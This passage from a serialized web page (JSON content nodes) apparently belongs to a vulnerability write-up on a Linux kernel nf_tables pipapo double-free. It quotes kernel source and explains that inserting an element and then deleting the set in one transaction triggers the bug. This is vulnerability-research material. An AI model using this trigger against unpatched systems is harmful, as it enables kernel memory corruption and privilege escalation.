",{"type":23,"tag":504,"props":53275,"children":53276},{"style":5047},[53277],{"type":29,"value":546},{"type":23,"tag":504,"props":53279,"children":53280},{"style":5041},[53281],{"type":29,"value":53282}," m",{"type":23,"tag":504,"props":53284,"children":53285},{"style":5058},[53286],{"type":29,"value":15803},{"type":23,"tag":504,"props":53288,"children":53289},{"style":5041},[53290],{"type":29,"value":3025},{"type":23,"tag":504,"props":53292,"children":53293},{"style":5058},[53294],{"type":29,"value":53295},"; i ",{"type":23,"tag":504,"props":53297,"children":53298},{"style":5047},[53299],{"type":29,"value":2658},{"type":23,"tag":504,"props":53301,"children":53302},{"style":5041},[53303],{"type":29,"value":53282},{"type":23,"tag":504,"props":53305,"children":53306},{"style":5058},[53307],{"type":29,"value":15803},{"type":23,"tag":504,"props":53309,"children":53310},{"style":5041},[53311],{"type":29,"value":53312},"field_count",{"type":23,"tag":504,"props":53314,"children":53315},{"style":5047},[53316],{"type":29,"value":53317}," -",{"type":23,"tag":504,"props":53319,"children":53320},{"style":5083},[53321],{"type":29,"value":6565},{"type":23,"tag":504,"props":53323,"children":53324},{"style":5058},[53325],{"type":29,"value":53326},"; i",{"type":23,"tag":504,"props":53328,"children":53329},{"style":5047},[53330],{"type":29,"value":53331},"++",{"type":23,"tag":504,"props":53333,"children":53334},{"style":5058},[53335],{"type":29,"value":53336},", f",{"type":23,"tag":504,"props":53338,"children":53339},{"style":5047},[53340],{"type":29,"value":53331},{"type":23,"tag":504,"props":53342,"children":53343},{"style":5058},[53344],{"type":29,"value":5200},{"type":23,"tag":504,"props":53346,"children":53347},{"class":5016,"line":5367},[53348],{"type":23,"tag":504,"props":53349,"children":53350},{"style":5058},[53351],{"type":29,"value":53352},"  ;\n",{"type":23,"tag":504,"props":53354,"children":53355},{"class":5016,"line":5388},[53356],{"type":23,"tag":504,"props":53357,"children":53358},{"emptyLinePlaceholder":15},[53359],{"type":29,"value":5734},{"type":23,"tag":504,"props":53361,"children":53362},{"class":5016,"line":5397},[53363,53367,53372,53376,53380,53385,53389,53393,53397,53402,53407,53411],{"type":23,"tag":504,"props":53364,"children":53365},{"style":5067},[53366],{"type":29,"value":53255},{"type":23,"tag":504,"props":53368,"children":53369},{"style":5058},[53370],{"type":29,"value":53371}," (r ",{"type":23,"tag":504,"props":53373,"children":53374},{"style":5047},[53375],{"type":29,"value":546},{"type":23,"tag":504,"props":53377,"children":53378},{"style":5083},[53379],{"type":29,"value":5086},{"type":23,"tag":504,"props":53381,"children":53382},{"style":5058},[53383],{"type":29,"value":53384},"; r ",{"type":23,"tag":504,"props":53386,"children":53387},{"style":5047},[53388],{"type":29,"value":2658},{"type":23,"tag":504,"props":53390,"children":53391},{"style":5041},[53392],{"type":29,"value":35027},{"type":23,"tag":504,"props":53394,"children":53395},{"style":5058},[53396],{"type":29,"value":15803},{"type":23,"tag":504,"props":53398,"children":53399},{"style":5041},[53400],{"type":29,"value":53401},"rules",{"type":23,"tag":504,"props":53403,"children":53404},{"style":5058},[53405],{"type":29,"value":53406},"; r",{"type":23,"tag":504,"props":53408,"children":53409},{"style":5047},[53410],{"type":29,"value":53331},{"type":23,"tag":504,"props":53412,"children":53413},{"style":5058},[53414],{"type":29,"value":16850},{"type":23,"tag":504,"props":53416,"children":53417},{"class":5016,"line":5649},[53418,53422,53427,53431],{"type":23,"tag":504,"props":53419,"children":53420},{"style":5030},[53421],{"type":29,"value":7842},{"type":23,"tag":504,"props":53423,"children":53424},{"style":5058},[53425],{"type":29,"value":53426}," nft_pipapo_elem ",{"type":23,"tag":504,"props":53428,"children":53429},{"style":5047},[53430],{"type":29,"value":6613},{"type":23,"tag":504,"props":53432,"children":53433},{"style":5058},[53434],{"type":29,"value":53435},"e;\n",{"type":23,"tag":504,"props":53437,"children":53438},{"class":5016,"line":5666},[53439],{"type":23,"tag":504,"props":53440,"children":53441},{"emptyLinePlaceholder":15},[53442],{"type":29,"value":5734},{"type":23,"tag":504,"props":53444,"children":53445},{"class":5016,"line":5683},[53446,53450,53454,53458,53462,53466,53470,53474,53478,53482,53486,53490,53495,53500,53504,53508,53512,53516,53520,53524,53528,53532,53537,53541],{"type":23,"tag":504,"props":53447,"children":53448},{"style":5067},[53449],{"type":29,"value":33449},{"type":23,"tag":504,"props":53451,"children":53452},{"style":5058},[53453],{"type":29,"value":53371},{"type":23,"tag":504,"props":53455,"children":53456},{"style":5047},[53457],{"type":29,"value":2658},{"type":23,"tag":504,"props":53459,"children":53460},{"style":5041},[53461],{"type":29,"value":35027},{"type":23,"tag":504,"props":53463,"children":53464},{"style":5058},[53465],{"type":29,"value":15803},{"type":23,"tag":504,"props":53467,"children":53468},{"style":5041},[53469],{"type":29,"value":53401},{"type":23,"tag":504,"props":53471,"children":53472},{"style":5047},[53473],{"type":29,"value":53317},{"type":23,"tag":504,"props":53475,"children":53476},{"style":5083},[53477],{"type":29,"value":6565},{"type":23,"tag":504,"props":53479,"children":53480},{"style":5047},[53481],{"type":29,"value":16231},{"type":23,"tag":504,"props":53483,"children":53484},{"style":5041},[53485],{"type":29,"value":35027},{"type":23,"tag":504,"props":53487,"children":53488},{"style":5058},[53489],{"type":29,"value":15803},{"type":23,"tag":504,"props":53491,"children":53492},{"style":5041},[53493],{"type":29,"value":53494},"mt",{"type":23,"tag":504,"props":53496,"children":53497},{"style":5058},[53498],{"type":29,"value":53499},"[r ",{"type":23,"tag":504,"props":53501,"children":53502},{"style":5047},[53503],{"type":29,"value":6422},{"type":23,"tag":504,"props":53505,"children":53506},{"style":5083},[53507],{"type":29,"value":6565},{"type":23,"tag":504,"props":53509,"children":53510},{"style":5058},[53511],{"type":29,"value":52412},{"type":23,"tag":504,"props":53513,"children":53514},{"style":5041},[53515],{"type":29,"value":1132},{"type":23,"tag":504,"props":53517,"children":53518},{"style":5047},[53519],{"type":29,"value":5324},{"type":23,"tag":504,"props":53521,"children":53522},{"style":5041},[53523],{"type":29,"value":35027},{"type":23,"tag":504,"props":53525,"children":53526},{"style":5058},[53527],{"type":29,"value":15803},{"type":23,"tag":504,"props":53529,"children":53530},{"style":5041},[53531],{"type":29,"value":53494},{"type":23,"tag":504,"props":53533,"children":53534},{"style":5058},[53535],{"type":29,"value":53536},"[r].",{"type":23,"tag":504,"props":53538,"children":53539},{"style":5041},[53540],{"type":29,"value":1132},{"type":23,"tag":504,"props":53542,"children":53543},{"style":5058},[53544],{"type":29,"value":5200},{"type":23,"tag":504,"props":53546,"children":53547},{"class":5016,"line":5696},[53548,53553],{"type":23,"tag":504,"props":53549,"children":53550},{"style":5067},[53551],{"type":29,"value":53552},"   continue",{"type":23,"tag":504,"props":53554,"children":53555},{"style":5058},[53556],{"type":29,"value":5061},{"type":23,"tag":504,"props":53558,"children":53559},{"class":5016,"line":5705},[53560],{"type":23,"tag":504,"props":53561,"children":53562},{"emptyLinePlaceholder":15},[53563],{"type":29,"value":5734},{"type":23,"tag":504,"props":53565,"children":53566},{"class":5016,"line":5728},[53567,53572,53576,53580,53584,53588,53592,53596],{"type":23,"tag":504,"props":53568,"children":53569},{"style":5058},[53570],{"type":29,"value":53571},"  e ",{"type":23,"tag":504,"props":53573,"children":53574},{"style":5047},[53575],{"type":29,"value":546},{"type":23,"tag":504,"props":53577,"children":53578},{"style":5041},[53579],{"type":29,"value":35027},{"type":23,"tag":504,"props":53581,"children":53582},{"style":5058},[53583],{"type":29,"value":15803},{"type":23,"tag":504,"props":53585,"children":53586},{"style":5041},[53587],{"type":29,"value":53494},{"type":23,"tag":504,"props":53589,"children":53590},{"style":5058},[53591],{"type":29,"value":53536},{"type":23,"tag":504,"props":53593,"children":53594},{"style":5041},[53595],{"type":29,"value":1132},{"type":23,"tag":504,"props":53597,"children":53598},{"style":5058},[53599],{"type":29,"value":5061},{"type":23,"tag":504,"props":53601,"children":53602},{"class":5016,"line":5737},[53603],{"type":23,"tag":504,"props":53604,"children":53605},{"emptyLinePlaceholder":15},[53606],{"type":29,"value":5734},{"type":23,"tag":504,"props":53608,"children":53609},{"class":5016,"line":5746},[53610,53615,53620,53624,53628,53632,53637],{"type":23,"tag":504,"props":53611,"children":53612},{"style":5139},[53613],{"type":29,"value":53614},"  nf_tables_set_elem_destroy",{"type":23,"tag":504,"props":53616,"children":53617},{"style":5058},[53618],{"type":29,"value":53619},"(ctx, set, ",{"type":23,"tag":504,"props":53621,"children":53622},{"style":5047},[53623],{"type":29,"value":5151},{"type":23,"tag":504,"props":53625,"children":53626},{"style":5041},[53627],{"type":29,"value":1132},{"type":23,"tag":504,"props":53629,"children":53630},{"style":5058},[53631],{"type":29,"value":15803},{"type":23,"tag":504,"props":53633,"children":53634},{"style":5041},[53635],{"type":29,"value":53636},"priv",{"type":23,"tag":504,"props":53638,"children":53639},{"style":5058},[53640],{"type":29,"value":5888},{"type":23,"tag":504,"props":53642,"children":53643},{"class":5016,"line":5813},[53644],{"type":23,"tag":504,"props":53645,"children":53646},{"style":5058},[53647],{"type":29,"value":11642},{"type":23,"tag":504,"props":53649,"children":53650},{"class":5016,"line":5821},[53651],{"type":23,"tag":504,"props":53652,"children":53653},{"style":5058},[53654],{"type":29,"value":5965},{"type":23,"tag":32,"props":53656,"children":53657},{},[53658,53660,53666,53668,53673],{"type":29,"value":53659},"Which will then ",{"type":23,"tag":154,"props":53661,"children":53663},{"className":53662},[],[53664],{"type":29,"value":53665},"kfree()",{"type":29,"value":53667}," the ",{"type":23,"tag":154,"props":53669,"children":53671},{"className":53670},[],[53672],{"type":29,"value":53074},{"type":29,"value":357},{"type":23,"tag":4743,"props":53675,"children":53677},{"className":18562,"code":53676,"language":3110,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[53678],{"type":23,"tag":154,"props":53679,"children":53680},{"__ignoreMap":7},[53681,53722,53750,53779,53786,53821,53828,53849,53872,53879,53892],{"type":23,"tag":504,"props":53682,"children":53683},{"class":5016,"line":5017},[53684,53689,53694,53698,53702,53706,53710,53714,53718],{"type":23,"tag":504,"props":53685,"children":53686},{"style":5030},[53687],{"type":29,"value":53688},"void",{"type":23,"tag":504,"props":53690,"children":53691},{"style":5139},[53692],{"type":29,"value":53693}," nf_tables_set_elem_destroy",{"type":23,"tag":504,"props":53695,"children":53696},{"style":5058},[53697],{"type":29,"value":603},{"type":23,"tag":504,"props":53699,"children":53700},{"style":5030},[53701],{"type":29,"value":11701},{"type":23,"tag":504,"props":53703,"children":53704},{"style":5030},[53705],{"type":29,"value":23203},{"type":23,"tag":504,"props":53707,"children":53708},{"style":5058},[53709],{"type":29,"value":53134},{"type":23,"tag":504,"props":53711,"children":53712},{"style":5047},[53713],{"type":29,"value":6613},{"type":23,"tag":504,"props":53715,"children":53716},{"style":5041},[53717],{"type":29,"value":22333},{"type":23,"tag":504,"props":53719,"children":53720},{"style":5058},[53721],{"type":29,"value":5557},{"type":23,"tag":504,"props":53723,"children":53724},{"class":5016,"line":4868},[53725,53730,53734,53738,53742,53746],{"type":23,"tag":504,"props":53726,"children":53727},{"style":5030},[53728],{"type":29,"value":53729},"    const",{"type":23,"tag":504,"props":53731,"children":53732},{"style":5030},[53733],{"type":29,"value":23203},{"type":23,"tag":504,"props":53735,"children":53736},{"style":5058},[53737],{"type":29,"value":53162},{"type":23,"tag":504,"props":53739,"children":53740},{"style":5047},[53741],{"type":29,"value":6613},{"type":23,"tag":504,"props":53743,"children":53744},{"style":5041},[53745],{"type":29,"value":53082},{"type":23,"tag":504,"props":53747,"children":53748},{"style":5058},[53749],{"type":29,"value":5557},{"type":23,"tag":504,"props":53751,"children":53752},{"class":5016,"line":4876},[53753,53757,53761,53766,53770,53775],{"type":23,"tag":504,"props":53754,"children":53755},{"style":5030},[53756],{"type":29,"value":53729},{"type":23,"tag":504,"props":53758,"children":53759},{"style":5030},[53760],{"type":29,"value":23203},{"type":23,"tag":504,"props":53762,"children":53763},{"style":5058},[53764],{"type":29,"value":53765}," nft_elem_priv ",{"type":23,"tag":504,"props":53767,"children":53768},{"style":5047},[53769],{"type":29,"value":6613},{"type":23,"tag":504,"props":53771,"children":53772},{"style":5041},[53773],{"type":29,"value":53774},"elem_priv",{"type":23,"tag":504,"props":53776,"children":53777},{"style":5058},[53778],{"type":29,"value":5200},{"type":23,"tag":504,"props":53780,"children":53781},{"class":5016,"line":5099},[53782],{"type":23,"tag":504,"props":53783,"children":53784},{"style":5058},[53785],{"type":29,"value":12926},{"type":23,"tag":504,"props":53787,"children":53788},{"class":5016,"line":5203},[53789,53793,53798,53802,53807,53811,53816],{"type":23,"tag":504,"props":53790,"children":53791},{"style":5030},[53792],{"type":29,"value":23203},{"type":23,"tag":504,"props":53794,"children":53795},{"style":5058},[53796],{"type":29,"value":53797}," nft_set_ext ",{"type":23,"tag":504,"props":53799,"children":53800},{"style":5047},[53801],{"type":29,"value":6613},{"type":23,"tag":504,"props":53803,"children":53804},{"style":5058},[53805],{"type":29,"value":53806},"ext ",{"type":23,"tag":504,"props":53808,"children":53809},{"style":5047},[53810],{"type":29,"value":546},{"type":23,"tag":504,"props":53812,"children":53813},{"style":5139},[53814],{"type":29,"value":53815}," nft_set_elem_ext",{"type":23,"tag":504,"props":53817,"children":53818},{"style":5058},[53819],{"type":29,"value":53820},"(set, elem_priv);\n",{"type":23,"tag":504,"props":53822,"children":53823},{"class":5016,"line":5308},[53824],{"type":23,"tag":504,"props":53825,"children":53826},{"emptyLinePlaceholder":15},[53827],{"type":29,"value":5734},{"type":23,"tag":504,"props":53829,"children":53830},{"class":5016,"line":5336},[53831,53835,53839,53844],{"type":23,"tag":504,"props":53832,"children":53833},{"style":5067},[53834],{"type":29,"value":17835},{"type":23,"tag":504,"props":53836,"children":53837},{"style":5058},[53838],{"type":29,"value":5110},{"type":23,"tag":504,"props":53840,"children":53841},{"style":5139},[53842],{"type":29,"value":53843},"nft_set_ext_exists",{"type":23,"tag":504,"props":53845,"children":53846},{"style":5058},[53847],{"type":29,"value":53848},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":504,"props":53850,"children":53851},{"class":5016,"line":5349},[53852,53857,53862,53867],{"type":23,"tag":504,"props":53853,"children":53854},{"style":5139},[53855],{"type":29,"value":53856},"  nft_set_elem_expr_destroy",{"type":23,"tag":504,"props":53858,"children":53859},{"style":5058},[53860],{"type":29,"value":53861},"(ctx, ",{"type":23,"tag":504,"props":53863,"children":53864},{"style":5139},[53865],{"type":29,"value":53866},"nft_set_ext_expr",{"type":23,"tag":504,"props":53868,"children":53869},{"style":5058},[53870],{"type":29,"value":53871},"(ext));\n",{"type":23,"tag":504,"props":53873,"children":53874},{"class":5016,"line":5367},[53875],{"type":23,"tag":504,"props":53876,"children":53877},{"emptyLinePlaceholder":15},[53878],{"type":29,"value":5734},{"type":23,"tag":504,"props":53880,"children":53881},{"class":5016,"line":5388},[53882,53887],{"type":23,"tag":504,"props":53883,"children":53884},{"style":5139},[53885],{"type":29,"value":53886}," kfree",{"type":23,"tag":504,"props":53888,"children":53889},{"style":5058},[53890],{"type":29,"value":53891},"(elem_priv);\n",{"type":23,"tag":504,"props":53893,"children":53894},{"class":5016,"line":5397},[53895],{"type":23,"tag":504,"props":53896,"children":53897},{"style":5058},[53898],{"type":29,"value":5965},{"type":23,"tag":32,"props":53900,"children":53901},{},[53902,53903,53909,53911,53916,53918,53923,53925,53930,53931,53936,53938,53943,53945,53950,53952,53957],{"type":29,"value":18661},{"type":23,"tag":154,"props":53904,"children":53906},{"className":53905},[],[53907],{"type":29,"value":53908},"nft_pipapo_match",{"type":29,"value":53910}," objects contain views of the ",{"type":23,"tag":154,"props":53912,"children":53914},{"className":53913},[],[53915],{"type":29,"value":53074},{"type":29,"value":53917},"'s of a ",{"type":23,"tag":154,"props":53919,"children":53921},{"className":53920},[],[53922],{"type":29,"value":53082},{"type":29,"value":53924},". The difference between the ",{"type":23,"tag":154,"props":53926,"children":53928},{"className":53927},[],[53929],{"type":29,"value":53059},{"type":29,"value":4478},{"type":23,"tag":154,"props":53932,"children":53934},{"className":53933},[],[53935],{"type":29,"value":53043},{"type":29,"value":53937}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":154,"props":53939,"children":53941},{"className":53940},[],[53942],{"type":29,"value":53074},{"type":29,"value":53944},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":154,"props":53946,"children":53948},{"className":53947},[],[53949],{"type":29,"value":53074},{"type":29,"value":53951},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":154,"props":53953,"children":53955},{"className":53954},[],[53956],{"type":29,"value":53059},{"type":29,"value":357},{"type":23,"tag":320,"props":53959,"children":53961},{"id":53960},"root-cause-analysis",[53962],{"type":29,"value":53963},"Root-cause analysis",{"type":23,"tag":32,"props":53965,"children":53966},{},[53967,53969,53975,53977,53982],{"type":29,"value":53968},"So ",{"type":23,"tag":154,"props":53970,"children":53972},{"className":53971},[],[53973],{"type":29,"value":53974},"nf_tables_set_elem_destroy",{"type":29,"value":53976}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":154,"props":53978,"children":53980},{"className":53979},[],[53981],{"type":29,"value":53074},{"type":29,"value":53983},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":32,"props":53985,"children":53986},{},[53987,53989,53994,53996,54001,54003,54008,54010,54015,54017,54022],{"type":29,"value":53988},"We should now try to understand how to reach that path with the ",{"type":23,"tag":154,"props":53990,"children":53992},{"className":53991},[],[53993],{"type":29,"value":53036},{"type":29,"value":53995}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":154,"props":53997,"children":53999},{"className":53998},[],[54000],{"type":29,"value":53074},{"type":29,"value":54002}," that becomes true whenever a change is made to the ",{"type":23,"tag":154,"props":54004,"children":54006},{"className":54005},[],[54007],{"type":29,"value":53082},{"type":29,"value":54009}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":154,"props":54011,"children":54013},{"className":54012},[],[54014],{"type":29,"value":53082},{"type":29,"value":54016}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":154,"props":54018,"children":54020},{"className":54019},[],[54021],{"type":29,"value":53082},{"type":29,"value":54023}," dirty by inserting a new element.",{"type":23,"tag":4743,"props":54025,"children":54027},{"className":18562,"code":54026,"language":3110,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[54028],{"type":23,"tag":154,"props":54029,"children":54030},{"__ignoreMap":7},[54031,54101,54130,54155,54162,54169,54198,54205],{"type":23,"tag":504,"props":54032,"children":54033},{"class":5016,"line":5017},[54034,54038,54042,54047,54051,54055,54059,54064,54068,54073,54077,54081,54085,54089,54093,54097],{"type":23,"tag":504,"props":54035,"children":54036},{"style":5030},[54037],{"type":29,"value":53107},{"type":23,"tag":504,"props":54039,"children":54040},{"style":5030},[54041],{"type":29,"value":53235},{"type":23,"tag":504,"props":54043,"children":54044},{"style":5139},[54045],{"type":29,"value":54046}," nft_pipapo_insert",{"type":23,"tag":504,"props":54048,"children":54049},{"style":5058},[54050],{"type":29,"value":603},{"type":23,"tag":504,"props":54052,"children":54053},{"style":5030},[54054],{"type":29,"value":11701},{"type":23,"tag":504,"props":54056,"children":54057},{"style":5030},[54058],{"type":29,"value":23203},{"type":23,"tag":504,"props":54060,"children":54061},{"style":5058},[54062],{"type":29,"value":54063}," net ",{"type":23,"tag":504,"props":54065,"children":54066},{"style":5047},[54067],{"type":29,"value":6613},{"type":23,"tag":504,"props":54069,"children":54070},{"style":5041},[54071],{"type":29,"value":54072},"net",{"type":23,"tag":504,"props":54074,"children":54075},{"style":5058},[54076],{"type":29,"value":4367},{"type":23,"tag":504,"props":54078,"children":54079},{"style":5030},[54080],{"type":29,"value":11701},{"type":23,"tag":504,"props":54082,"children":54083},{"style":5030},[54084],{"type":29,"value":23203},{"type":23,"tag":504,"props":54086,"children":54087},{"style":5058},[54088],{"type":29,"value":53162},{"type":23,"tag":504,"props":54090,"children":54091},{"style":5047},[54092],{"type":29,"value":6613},{"type":23,"tag":504,"props":54094,"children":54095},{"style":5041},[54096],{"type":29,"value":53082},{"type":23,"tag":504,"props":54098,"children":54099},{"style":5058},[54100],{"type":29,"value":5557},{"type":23,"tag":504,"props":54102,"children":54103},{"class":5016,"line":4868},[54104,54108,54112,54117,54121,54126],{"type":23,"tag":504,"props":54105,"children":54106},{"style":5030},[54107],{"type":29,"value":34957},{"type":23,"tag":504,"props":54109,"children":54110},{"style":5030},[54111],{"type":29,"value":23203},{"type":23,"tag":504,"props":54113,"children":54114},{"style":5058},[54115],{"type":29,"value":54116}," nft_set_elem ",{"type":23,"tag":504,"props":54118,"children":54119},{"style":5047},[54120],{"type":29,"value":6613},{"type":23,"tag":504,"props":54122,"children":54123},{"style":5041},[54124],{"type":29,"value":54125},"elem",{"type":23,"tag":504,"props":54127,"children":54128},{"style":5058},[54129],{"type":29,"value":5557},{"type":23,"tag":504,"props":54131,"children":54132},{"class":5016,"line":4876},[54133,54138,54142,54147,54151],{"type":23,"tag":504,"props":54134,"children":54135},{"style":5030},[54136],{"type":29,"value":54137},"        struct",{"type":23,"tag":504,"props":54139,"children":54140},{"style":5058},[54141],{"type":29,"value":53765},{"type":23,"tag":504,"props":54143,"children":54144},{"style":5047},[54145],{"type":29,"value":54146},"**",{"type":23,"tag":504,"props":54148,"children":54149},{"style":5041},[54150],{"type":29,"value":53774},{"type":23,"tag":504,"props":54152,"children":54153},{"style":5058},[54154],{"type":29,"value":5200},{"type":23,"tag":504,"props":54156,"children":54157},{"class":5016,"line":5099},[54158],{"type":23,"tag":504,"props":54159,"children":54160},{"style":5058},[54161],{"type":29,"value":12926},{"type":23,"tag":504,"props":54163,"children":54164},{"class":5016,"line":5203},[54165],{"type":23,"tag":504,"props":54166,"children":54167},{"style":5058},[54168],{"type":29,"value":12364},{"type":23,"tag":504,"props":54170,"children":54171},{"class":5016,"line":5308},[54172,54177,54181,54186,54190,54194],{"type":23,"tag":504,"props":54173,"children":54174},{"style":5041},[54175],{"type":29,"value":54176}," priv",{"type":23,"tag":504,"props":54178,"children":54179},{"style":5058},[54180],{"type":29,"value":15803},{"type":23,"tag":504,"props":54182,"children":54183},{"style":5041},[54184],{"type":29,"value":54185},"dirty",{"type":23,"tag":504,"props":54187,"children":54188},{"style":5047},[54189],{"type":29,"value":5050},{"type":23,"tag":504,"props":54191,"children":54192},{"style":5030},[54193],{"type":29,"value":14515},{"type":23,"tag":504,"props":54195,"children":54196},{"style":5058},[54197],{"type":29,"value":5061},{"type":23,"tag":504,"props":54199,"children":54200},{"class":5016,"line":5336},[54201],{"type":23,"tag":504,"props":54202,"children":54203},{"style":5058},[54204],{"type":29,"value":12364},{"type":23,"tag":504,"props":54206,"children":54207},{"class":5016,"line":5349},[54208],{"type":23,"tag":504,"props":54209,"children":54210},{"style":5058},[54211],{"type":29,"value":5965},{"type":23,"tag":32,"props":54213,"children":54214},{},[54215],{"type":29,"value":54216},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":4743,"props":54218,"children":54220},{"className":18562,"code":54219,"language":3110,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[54221],{"type":23,"tag":154,"props":54222,"children":54223},{"__ignoreMap":7},[54224,54264,54271,54278,54309,54320,54327,54354,54361],{"type":23,"tag":504,"props":54225,"children":54226},{"class":5016,"line":5017},[54227,54231,54235,54240,54244,54248,54252,54256,54260],{"type":23,"tag":504,"props":54228,"children":54229},{"style":5030},[54230],{"type":29,"value":53107},{"type":23,"tag":504,"props":54232,"children":54233},{"style":5030},[54234],{"type":29,"value":53112},{"type":23,"tag":504,"props":54236,"children":54237},{"style":5139},[54238],{"type":29,"value":54239}," nft_pipapo_commit",{"type":23,"tag":504,"props":54241,"children":54242},{"style":5058},[54243],{"type":29,"value":603},{"type":23,"tag":504,"props":54245,"children":54246},{"style":5030},[54247],{"type":29,"value":11448},{"type":23,"tag":504,"props":54249,"children":54250},{"style":5058},[54251],{"type":29,"value":53162},{"type":23,"tag":504,"props":54253,"children":54254},{"style":5047},[54255],{"type":29,"value":6613},{"type":23,"tag":504,"props":54257,"children":54258},{"style":5041},[54259],{"type":29,"value":53082},{"type":23,"tag":504,"props":54261,"children":54262},{"style":5058},[54263],{"type":29,"value":5200},{"type":23,"tag":504,"props":54265,"children":54266},{"class":5016,"line":4868},[54267],{"type":23,"tag":504,"props":54268,"children":54269},{"style":5058},[54270],{"type":29,"value":12926},{"type":23,"tag":504,"props":54272,"children":54273},{"class":5016,"line":4876},[54274],{"type":23,"tag":504,"props":54275,"children":54276},{"style":5058},[54277],{"type":29,"value":12364},{"type":23,"tag":504,"props":54279,"children":54280},{"class":5016,"line":5099},[54281,54285,54289,54293,54297,54301,54305],{"type":23,"tag":504,"props":54282,"children":54283},{"style":5067},[54284],{"type":29,"value":17835},{"type":23,"tag":504,"props":54286,"children":54287},{"style":5058},[54288],{"type":29,"value":5110},{"type":23,"tag":504,"props":54290,"children":54291},{"style":5047},[54292],{"type":29,"value":22674},{"type":23,"tag":504,"props":54294,"children":54295},{"style":5041},[54296],{"type":29,"value":53636},{"type":23,"tag":504,"props":54298,"children":54299},{"style":5058},[54300],{"type":29,"value":15803},{"type":23,"tag":504,"props":54302,"children":54303},{"style":5041},[54304],{"type":29,"value":54185},{"type":23,"tag":504,"props":54306,"children":54307},{"style":5058},[54308],{"type":29,"value":5200},{"type":23,"tag":504,"props":54310,"children":54311},{"class":5016,"line":5203},[54312,54316],{"type":23,"tag":504,"props":54313,"children":54314},{"style":5067},[54315],{"type":29,"value":41255},{"type":23,"tag":504,"props":54317,"children":54318},{"style":5058},[54319],{"type":29,"value":5061},{"type":23,"tag":504,"props":54321,"children":54322},{"class":5016,"line":5308},[54323],{"type":23,"tag":504,"props":54324,"children":54325},{"style":5058},[54326],{"type":29,"value":12364},{"type":23,"tag":504,"props":54328,"children":54329},{"class":5016,"line":5336},[54330,54334,54338,54342,54346,54350],{"type":23,"tag":504,"props":54331,"children":54332},{"style":5041},[54333],{"type":29,"value":54176},{"type":23,"tag":504,"props":54335,"children":54336},{"style":5058},[54337],{"type":29,"value":15803},{"type":23,"tag":504,"props":54339,"children":54340},{"style":5041},[54341],{"type":29,"value":54185},{"type":23,"tag":504,"props":54343,"children":54344},{"style":5047},[54345],{"type":29,"value":5050},{"type":23,"tag":504,"props":54347,"children":54348},{"style":5030},[54349],{"type":29,"value":11104},{"type":23,"tag":504,"props":54351,"children":54352},{"style":5058},[54353],{"type":29,"value":5061},{"type":23,"tag":504,"props":54355,"children":54356},{"class":5016,"line":5349},[54357],{"type":23,"tag":504,"props":54358,"children":54359},{"style":5058},[54360],{"type":29,"value":12364},{"type":23,"tag":504,"props":54362,"children":54363},{"class":5016,"line":5367},[54364],{"type":23,"tag":504,"props":54365,"children":54366},{"style":5058},[54367],{"type":29,"value":5965},{"type":23,"tag":32,"props":54369,"children":54370},{},[54371,54373,54378,54380,54385,54387,54392,54394,54399,54401,54407,54409,54415,54417,54422],{"type":29,"value":54372},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":154,"props":54374,"children":54376},{"className":54375},[],[54377],{"type":29,"value":53074},{"type":29,"value":54379}," in the ",{"type":23,"tag":154,"props":54381,"children":54383},{"className":54382},[],[54384],{"type":29,"value":53082},{"type":29,"value":54386}," to make it dirty and then delete the ",{"type":23,"tag":154,"props":54388,"children":54390},{"className":54389},[],[54391],{"type":29,"value":53082},{"type":29,"value":54393},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":154,"props":54395,"children":54397},{"className":54396},[],[54398],{"type":29,"value":53082},{"type":29,"value":54400},"'s ",{"type":23,"tag":154,"props":54402,"children":54404},{"className":54403},[],[54405],{"type":29,"value":54406},"->commit()",{"type":29,"value":54408}," method is executed before its ",{"type":23,"tag":154,"props":54410,"children":54412},{"className":54411},[],[54413],{"type":29,"value":54414},"->destroy()",{"type":29,"value":54416}," method, then the ",{"type":23,"tag":154,"props":54418,"children":54420},{"className":54419},[],[54421],{"type":29,"value":54185},{"type":29,"value":54423}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":32,"props":54425,"children":54426},{},[54427],{"type":29,"value":54428},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":4743,"props":54430,"children":54432},{"className":18562,"code":54431,"language":3110,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n 